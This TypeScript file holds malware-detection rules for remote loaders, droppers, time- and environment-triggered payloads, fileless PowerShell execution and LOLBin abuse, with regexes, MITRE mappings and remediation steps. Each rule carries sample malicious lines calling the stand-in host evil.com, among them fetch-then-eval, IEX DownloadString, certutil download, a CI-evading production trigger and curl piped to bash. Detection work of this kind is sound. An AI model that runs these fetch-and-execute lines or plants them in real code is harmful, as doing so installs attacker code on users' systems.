/**
 * @fileoverview Loader, Dropper, and Multi-Stage Malware Detection Rules
 * @module rules/malware/categories/loaders
 * 
 * Comprehensive rules for detecting malware loaders and droppers including:
 * - Remote code loading
 * - Dynamic script injection
 * - Multi-stage malware
 * - Fileless malware patterns
 * - Living-off-the-land techniques
 */

import {
  MalwareRule,
  MalwareThreatType,
  MalwareCategory,
  MalwareSeverity,
  ConfidenceLevel,
  SupportedLanguage,
  PatternType,
  MitreTactic
} from '../types';

// ============================================================================
// REMOTE CODE LOADER RULES
// ============================================================================

export const remoteLoaderRules: MalwareRule[] = [
  {
    id: 'MAL-LOAD-001',
    name: 'Malicious Loader - Remote Script Execution',
    description: 'Detects patterns that fetch and execute remote code dynamically.',
    version: '2.0.0',
    threatType: MalwareThreatType.LOADER,
    category: MalwareCategory.DROPPER,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON,
      SupportedLanguage.PHP
    ],
    severity: MalwareSeverity.CRITICAL,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 90,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'eval-fetch',
        pattern: 'eval\\s*\\([^)]*(?:fetch|axios|request|\\$\\.get)\\s*\\(',
        flags: 'gis',
        weight: 1.0,
        description: 'Eval with remote fetch'
      },
      {
        type: PatternType.REGEX,
        patternId: 'function-constructor-fetch',
        pattern: 'Function\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|http\\.get)',
        flags: 'gis',
        weight: 1.0,
        description: 'Function constructor with remote data'
      },
      {
        type: PatternType.REGEX,
        patternId: 'python-exec-urllib',
        pattern: 'exec\\s*\\(\\s*(?:urllib|requests)\\.(?:urlopen|get)\\s*\\([^)]+\\)\\.read\\s*\\(',
        flags: 'gis',
        weight: 1.0,
        description: 'Python exec with URL fetch'
      },
      {
        type: PatternType.REGEX,
        patternId: 'php-include-http',
        pattern: '(?:include|require)(?:_once)?\\s*\\([^)]*https?:',
        flags: 'gi',
        weight: 1.0,
        description: 'PHP remote file inclusion'
      },
      {
        type: PatternType.REGEX,
        patternId: 'node-vm-remote',
        pattern: 'vm\\.(?:runInThisContext|runInNewContext)\\s*\\([^)]*(?:fetch|http\\.get|axios)',
        flags: 'gis',
        weight: 1.0,
        description: 'Node.js VM with remote code'
      }
    ],
    amplifyingPatterns: [
      {
        type: PatternType.REGEX,
        patternId: 'external-url',
        pattern: 'https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[\\w.-]+',
        flags: 'gi',
        weight: 0.4,
        description: 'External URL present'
      }
    ],
    maliciousExamples: [
      {
        code: `fetch('https://evil.com/payload.js')
  .then(r => r.text())
  .then(code => eval(code));`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Remote code loader via fetch'
      },
      {
        code: `import urllib.request
exec(urllib.request.urlopen('http://evil.com/backdoor.py').read())`,
        language: SupportedLanguage.PYTHON,
        isMalicious: true,
        description: 'Python remote code execution'
      }
    ],
    impact: {
      technical: 'Dynamically loads and executes code from remote source.',
      business: 'Allows attacker to update malware without modifying files.',
      affectedAssets: ['Application runtime', 'System'],
      dataAtRisk: ['All accessible data', 'System control']
    },
    remediation: {
      summary: 'Remove remote code loading and implement Content Security Policy.',
      steps: [
        'Remove all dynamic remote code loading',
        'Implement strict Content Security Policy',
        'Use Subresource Integrity for external scripts',
        'Whitelist allowed script sources',
        'Monitor network connections for unusual patterns'
      ]
    },
    mitreAttack: [
      {
        tacticId: MitreTactic.EXECUTION,
        tacticName: 'Execution',
        techniqueId: 'T1059',
        techniqueName: 'Command and Scripting Interpreter',
        url: 'https://attack.mitre.org/techniques/T1059/'
      },
      {
        tacticId: MitreTactic.COMMAND_AND_CONTROL,
        tacticName: 'Command and Control',
        techniqueId: 'T1105',
        techniqueName: 'Ingress Tool Transfer',
        url: 'https://attack.mitre.org/techniques/T1105/'
      }
    ],
    tags: ['loader', 'remote-code', 'dynamic-execution', 'critical'],
    enabled: true
  },
  {
    id: 'MAL-LOAD-002',
    name: 'Malicious Loader - Dynamic Script Injection',
    description: 'Detects dynamic injection of script tags or script elements.',
    version: '2.0.0',
    threatType: MalwareThreatType.LOADER,
    category: MalwareCategory.DROPPER,
    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 78,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'document-write-script',
        pattern: 'document\\.write\\s*\\([^)]*<script[^>]*src\\s*=',
        flags: 'gis',
        weight: 0.9,
        description: 'document.write with script tag'
      },
      {
        type: PatternType.REGEX,
        patternId: 'createElement-script-src',
        pattern: '\\.createElement\\s*\\([\'"]script[\'"]\\)[\\s\\S]*?\\.src\\s*=\\s*[^;]+;[\\s\\S]*?appendChild',
        flags: 'gis',
        weight: 0.8,
        description: 'Dynamic script element creation'
      },
      {
        type: PatternType.REGEX,
        patternId: 'innerhtml-script',
        pattern: '\\.innerHTML\\s*[+]?=\\s*[\'"][^\'\"]*<script',
        flags: 'gis',
        weight: 0.9,
        description: 'Script injection via innerHTML'
      },
      {
        type: PatternType.REGEX,
        patternId: 'script-text-eval',
        pattern: 'createElement\\s*\\([\'"]script[\'"]\\)[\\s\\S]*?\\.(?:text|textContent)\\s*=\\s*[^;]+;[\\s\\S]*?appendChild',
        flags: 'gis',
        weight: 0.8,
        description: 'Inline script injection'
      }
    ],
    maliciousExamples: [
      {
        code: `const script = document.createElement('script');
script.src = 'https://evil.com/malware.js';
document.body.appendChild(script);`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Dynamic malicious script injection'
      }
    ],
    falsePositivePatterns: [
      {
        type: PatternType.REGEX,
        patternId: 'analytics-known',
        pattern: 'google-analytics|googletagmanager|segment\\.com',
        flags: 'gi',
        weight: 0.4,
        description: 'Known analytics services'
      }
    ],
    impact: {
      technical: 'Dynamically injects executable scripts into the page.',
      business: 'Code injection allowing arbitrary script execution.',
      affectedAssets: ['Web page', 'User browser'],
      dataAtRisk: ['Page data', 'User session']
    },
    remediation: {
      summary: 'Remove dynamic script injection and use CSP.',
      steps: [
        'Remove unauthorized script injection code',
        'Implement Content Security Policy',
        'Use nonce or hash-based CSP for inline scripts',
        'Audit all script loading mechanisms'
      ]
    },
    tags: ['loader', 'script-injection', 'dom-manipulation', 'high'],
    enabled: true
  }
];

// ============================================================================
// DROPPER RULES
// ============================================================================

export const dropperRules: MalwareRule[] = [
  {
    id: 'MAL-LOAD-010',
    name: 'Dropper - File Write with Download',
    description: 'Detects patterns that download and write executable files.',
    version: '2.0.0',
    threatType: MalwareThreatType.DROPPER,
    category: MalwareCategory.DROPPER,
    languages: [SupportedLanguage.PYTHON, SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
    severity: MalwareSeverity.CRITICAL,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 88,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'python-download-write',
        pattern: '(?:urllib|requests)\\.(?:urlopen|get)[\\s\\S]*?open\\s*\\([^)]+[\'"][wb][\'"]\\)[\\s\\S]*?\\.write',
        flags: 'gis',
        weight: 1.0,
        description: 'Python download and file write'
      },
      {
        type: PatternType.REGEX,
        patternId: 'node-download-fs',
        pattern: '(?:fetch|http\\.get|axios)[\\s\\S]*?fs\\.(?:writeFile|createWriteStream)',
        flags: 'gis',
        weight: 1.0,
        description: 'Node.js download and file write'
      },
      {
        type: PatternType.REGEX,
        patternId: 'executable-extension',
        pattern: '\\.(?:exe|dll|so|dylib|sh|bat|cmd|ps1|vbs)[\'"]',
        flags: 'gi',
        weight: 0.5,
        description: 'Executable file extension'
      }
    ],
    amplifyingPatterns: [
      {
        type: PatternType.REGEX,
        patternId: 'chmod-executable',
        pattern: 'chmod\\s+[+]?x|os\\.chmod\\s*\\([^)]+0o7[0-7]{2}',
        flags: 'gi',
        weight: 0.6,
        description: 'Making file executable'
      },
      {
        type: PatternType.REGEX,
        patternId: 'subprocess-run',
        pattern: 'subprocess\\.(?:run|Popen|call)|exec\\s*\\(',
        flags: 'gi',
        weight: 0.5,
        description: 'Process execution'
      }
    ],
    maliciousExamples: [
      {
        code: `import urllib.request
import subprocess
urllib.request.urlretrieve('http://evil.com/backdoor.exe', '/tmp/backdoor.exe')
subprocess.run(['/tmp/backdoor.exe'])`,
        language: SupportedLanguage.PYTHON,
        isMalicious: true,
        description: 'Download and execute dropper'
      }
    ],
    impact: {
      technical: 'Downloads and writes executable files to disk.',
      business: 'Stage 1 of multi-stage malware infection.',
      affectedAssets: ['File system', 'System processes'],
      dataAtRisk: ['System integrity', 'All accessible data']
    },
    remediation: {
      summary: 'Remove dropper code and scan for downloaded payloads.',
      steps: [
        'Remove the dropper code',
        'Scan file system for downloaded payloads',
        'Check for executed processes',
        'Investigate network connections',
        'Reset credentials if compromised'
      ]
    },
    mitreAttack: [
      {
        tacticId: MitreTactic.EXECUTION,
        tacticName: 'Execution',
        techniqueId: 'T1204',
        techniqueName: 'User Execution',
        url: 'https://attack.mitre.org/techniques/T1204/'
      },
      {
        tacticId: MitreTactic.COMMAND_AND_CONTROL,
        tacticName: 'Command and Control',
        techniqueId: 'T1105',
        techniqueName: 'Ingress Tool Transfer',
        url: 'https://attack.mitre.org/techniques/T1105/'
      }
    ],
    tags: ['dropper', 'download', 'file-write', 'critical'],
    enabled: true
  }
];

// ============================================================================
// MULTI-STAGE MALWARE RULES
// ============================================================================

export const multiStageRules: MalwareRule[] = [
  {
    id: 'MAL-LOAD-020',
    name: 'Multi-Stage - Delayed Execution',
    description: 'Detects time-delayed or condition-based malware activation.',
    version: '2.0.0',
    threatType: MalwareThreatType.MULTI_STAGE,
    category: MalwareCategory.DROPPER,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON
    ],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.MEDIUM,
    baseScore: 72,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'setTimeout-fetch-eval',
        pattern: 'setTimeout\\s*\\([^)]*(?:fetch|http)[\\s\\S]*?(?:eval|Function|exec)',
        flags: 'gis',
        weight: 0.9,
        description: 'Delayed remote code execution'
      },
      {
        type: PatternType.REGEX,
        patternId: 'date-check-execution',
        pattern: 'new\\s+Date\\s*\\([^)]*\\)[\\s\\S]{0,100}(?:getTime|getDate|getMonth)[\\s\\S]{0,100}(?:eval|exec|Function)',
        flags: 'gis',
        weight: 0.8,
        description: 'Date-based activation'
      },
      {
        type: PatternType.REGEX,
        patternId: 'counter-trigger',
        pattern: '(?:var|let|const)\\s+\\w+\\s*=\\s*0[\\s\\S]*?\\+\\+[\\s\\S]{0,100}(?:eval|exec)',
        flags: 'gis',
        weight: 0.6,
        description: 'Counter-based trigger'
      }
    ],
    maliciousExamples: [
      {
        code: `let visitCount = parseInt(localStorage.getItem('visits') || '0');
visitCount++;
localStorage.setItem('visits', visitCount.toString());
if (visitCount >= 5) {
  fetch('https://evil.com/stage2.js').then(r => r.text()).then(eval);
}`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Visit counter-triggered payload'
      }
    ],
    impact: {
      technical: 'Activates malicious payload after delay or condition.',
      business: 'Evades detection through delayed activation.',
      affectedAssets: ['Application runtime'],
      dataAtRisk: ['Depends on stage 2 payload']
    },
    remediation: {
      summary: 'Remove delayed execution logic and analyze all stages.',
      steps: [
        'Remove timing or condition-based triggers',
        'Analyze all referenced payloads',
        'Check for persistence mechanisms'
      ]
    },
    mitreAttack: [
      {
        tacticId: MitreTactic.DEFENSE_EVASION,
        tacticName: 'Defense Evasion',
        techniqueId: 'T1027',
        techniqueName: 'Obfuscated Files or Information',
        url: 'https://attack.mitre.org/techniques/T1027/'
      }
    ],
    tags: ['multi-stage', 'delayed-execution', 'time-bomb', 'high'],
    enabled: true
  },
  {
    id: 'MAL-LOAD-021',
    name: 'Multi-Stage - Environment-Based Activation',
    description: 'Detects malware that activates based on environment conditions.',
    version: '2.0.0',
    threatType: MalwareThreatType.LOGIC_BOMB,
    category: MalwareCategory.DROPPER,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON
    ],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.MEDIUM,
    baseScore: 75,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'prod-env-trigger',
        pattern: 'NODE_ENV\\s*===?\\s*[\'"]production[\'"][\\s\\S]*?(?:eval|exec|fetch)',
        flags: 'gis',
        weight: 0.9,
        description: 'Production environment trigger'
      },
      {
        type: PatternType.REGEX,
        patternId: 'domain-check-trigger',
        pattern: 'location\\.(?:hostname|host)[\\s\\S]*?(?:match|includes|===)[\\s\\S]*?(?:eval|exec)',
        flags: 'gis',
        weight: 0.8,
        description: 'Domain-based activation'
      },
      {
        type: PatternType.REGEX,
        patternId: 'ci-env-skip',
        pattern: 'process\\.env\\.(?:CI|TRAVIS|JENKINS|GITHUB_ACTIONS)[\\s\\S]*?(?:return|exit)',
        flags: 'gis',
        weight: 0.7,
        description: 'CI environment skip'
      }
    ],
    maliciousExamples: [
      {
        code: `if (process.env.NODE_ENV === 'production' && !process.env.CI) {
  fetch('https://evil.com/prod-payload.js').then(r => r.text()).then(eval);
}`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Production-only malware activation'
      }
    ],
    impact: {
      technical: 'Activates only in specific environments to evade testing.',
      business: 'Targets production systems while avoiding detection.',
      affectedAssets: ['Production environment'],
      dataAtRisk: ['Production data']
    },
    remediation: {
      summary: 'Remove environment-based triggers and analyze activation logic.',
      steps: [
        'Remove environment checks tied to malicious code',
        'Test in production-like environments',
        'Implement environment-independent security'
      ]
    },
    tags: ['multi-stage', 'environment-trigger', 'logic-bomb', 'high'],
    enabled: true
  }
];

// ============================================================================
// FILELESS MALWARE RULES
// ============================================================================

export const filelessRules: MalwareRule[] = [
  {
    id: 'MAL-LOAD-030',
    name: 'Fileless - Memory-Only Execution',
    description: 'Detects patterns indicative of fileless malware executing only in memory.',
    version: '2.0.0',
    threatType: MalwareThreatType.FILELESS,
    category: MalwareCategory.DROPPER,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON,
      SupportedLanguage.POWERSHELL
    ],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.MEDIUM,
    baseScore: 76,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'ps-iex-downloadstring',
        pattern: 'IEX\\s*\\([^)]*DownloadString',
        flags: 'gi',
        weight: 1.0,
        description: 'PowerShell IEX with DownloadString'
      },
      {
        type: PatternType.REGEX,
        patternId: 'ps-memory-load',
        pattern: '\\[System\\.Reflection\\.Assembly\\]::Load\\s*\\([^)]*\\[System\\.Net\\.WebClient\\]',
        flags: 'gi',
        weight: 1.0,
        description: 'PowerShell in-memory assembly load'
      },
      {
        type: PatternType.REGEX,
        patternId: 'js-blob-worker',
        pattern: 'new\\s+Worker\\s*\\(\\s*URL\\.createObjectURL\\s*\\(\\s*new\\s+Blob',
        flags: 'gis',
        weight: 0.8,
        description: 'JavaScript Blob Worker (fileless)'
      },
      {
        type: PatternType.REGEX,
        patternId: 'python-io-exec',
        pattern: 'exec\\s*\\(\\s*io\\.BytesIO\\s*\\(',
        flags: 'gi',
        weight: 0.7,
        description: 'Python in-memory execution'
      }
    ],
    maliciousExamples: [
      {
        code: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')`,
        language: SupportedLanguage.POWERSHELL,
        isMalicious: true,
        description: 'PowerShell fileless execution'
      },
      {
        code: `const blob = new Blob([maliciousCode], { type: 'application/javascript' });
const worker = new Worker(URL.createObjectURL(blob));`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'JavaScript fileless Web Worker'
      }
    ],
    impact: {
      technical: 'Executes entirely in memory without writing to disk.',
      business: 'Evades file-based detection mechanisms.',
      affectedAssets: ['System memory', 'Processes'],
      dataAtRisk: ['All accessible data']
    },
    remediation: {
      summary: 'Implement memory-based detection and behavior monitoring.',
      steps: [
        'Remove fileless execution code',
        'Implement behavior-based detection',
        'Monitor process memory for anomalies',
        'Use endpoint detection and response (EDR) tools'
      ]
    },
    mitreAttack: [
      {
        tacticId: MitreTactic.DEFENSE_EVASION,
        tacticName: 'Defense Evasion',
        techniqueId: 'T1027',
        techniqueName: 'Obfuscated Files or Information',
        url: 'https://attack.mitre.org/techniques/T1027/'
      },
      {
        tacticId: MitreTactic.EXECUTION,
        tacticName: 'Execution',
        techniqueId: 'T1059.001',
        techniqueName: 'PowerShell',
        url: 'https://attack.mitre.org/techniques/T1059/001/'
      }
    ],
    tags: ['fileless', 'memory-execution', 'evasion', 'high'],
    enabled: true
  }
];

// ============================================================================
// LIVING OFF THE LAND RULES
// ============================================================================

export const lotlRules: MalwareRule[] = [
  {
    id: 'MAL-LOAD-040',
    name: 'Living Off The Land - System Binary Abuse',
    description: 'Detects abuse of legitimate system binaries for malicious purposes.',
    version: '2.0.0',
    threatType: MalwareThreatType.LIVING_OFF_THE_LAND,
    category: MalwareCategory.DROPPER,
    languages: [
      SupportedLanguage.PYTHON,
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.SHELL,
      SupportedLanguage.POWERSHELL
    ],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.MEDIUM,
    baseScore: 70,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'certutil-download',
        pattern: 'certutil\\s+.*-urlcache\\s+.*http',
        flags: 'gi',
        weight: 1.0,
        description: 'CertUtil for file download'
      },
      {
        type: PatternType.REGEX,
        patternId: 'bitsadmin-download',
        pattern: 'bitsadmin\\s+\\/transfer.*http',
        flags: 'gi',
        weight: 1.0,
        description: 'BitsAdmin for file download'
      },
      {
        type: PatternType.REGEX,
        patternId: 'mshta-http',
        pattern: 'mshta\\s+http',
        flags: 'gi',
        weight: 1.0,
        description: 'MSHTA with remote URL'
      },
      {
        type: PatternType.REGEX,
        patternId: 'regsvr32-scrobj',
        pattern: 'regsvr32\\s+.*\\/[uis].*\\.sct',
        flags: 'gi',
        weight: 1.0,
        description: 'Regsvr32 scriptlet execution'
      },
      {
        type: PatternType.REGEX,
        patternId: 'curl-pipe-sh',
        pattern: 'curl\\s+.*\\|\\s*(?:bash|sh|python)',
        flags: 'gi',
        weight: 1.0,
        description: 'Curl pipe to shell'
      }
    ],
    maliciousExamples: [
      {
        code: `certutil -urlcache -split -f http://evil.com/payload.exe c:\\temp\\payload.exe`,
        language: SupportedLanguage.SHELL,
        isMalicious: true,
        description: 'CertUtil download abuse'
      },
      {
        code: `curl https://evil.com/install.sh | bash`,
        language: SupportedLanguage.SHELL,
        isMalicious: true,
        description: 'Curl pipe to bash'
      }
    ],
    impact: {
      technical: 'Abuses legitimate system tools for malicious activities.',
      business: 'Bypasses application whitelisting and detection.',
      affectedAssets: ['System binaries', 'System trust'],
      dataAtRisk: ['System integrity']
    },
    remediation: {
      summary: 'Monitor and restrict abuse of system binaries.',
      steps: [
        'Remove malicious command invocations',
        'Implement application whitelisting with argument restrictions',
        'Monitor usage of LOLBins',
        'Use command-line auditing'
      ]
    },
    mitreAttack: [
      {
        tacticId: MitreTactic.DEFENSE_EVASION,
        tacticName: 'Defense Evasion',
        techniqueId: 'T1218',
        techniqueName: 'System Binary Proxy Execution',
        url: 'https://attack.mitre.org/techniques/T1218/'
      }
    ],
    tags: ['lotl', 'lolbins', 'system-binary-abuse', 'high'],
    enabled: true
  }
];

// ============================================================================
// EXPORT ALL LOADER RULES
// ============================================================================

export const loaderRules: MalwareRule[] = [
  ...remoteLoaderRules,
  ...dropperRules,
  ...multiStageRules,
  ...filelessRules,
  ...lotlRules
];

export default loaderRules;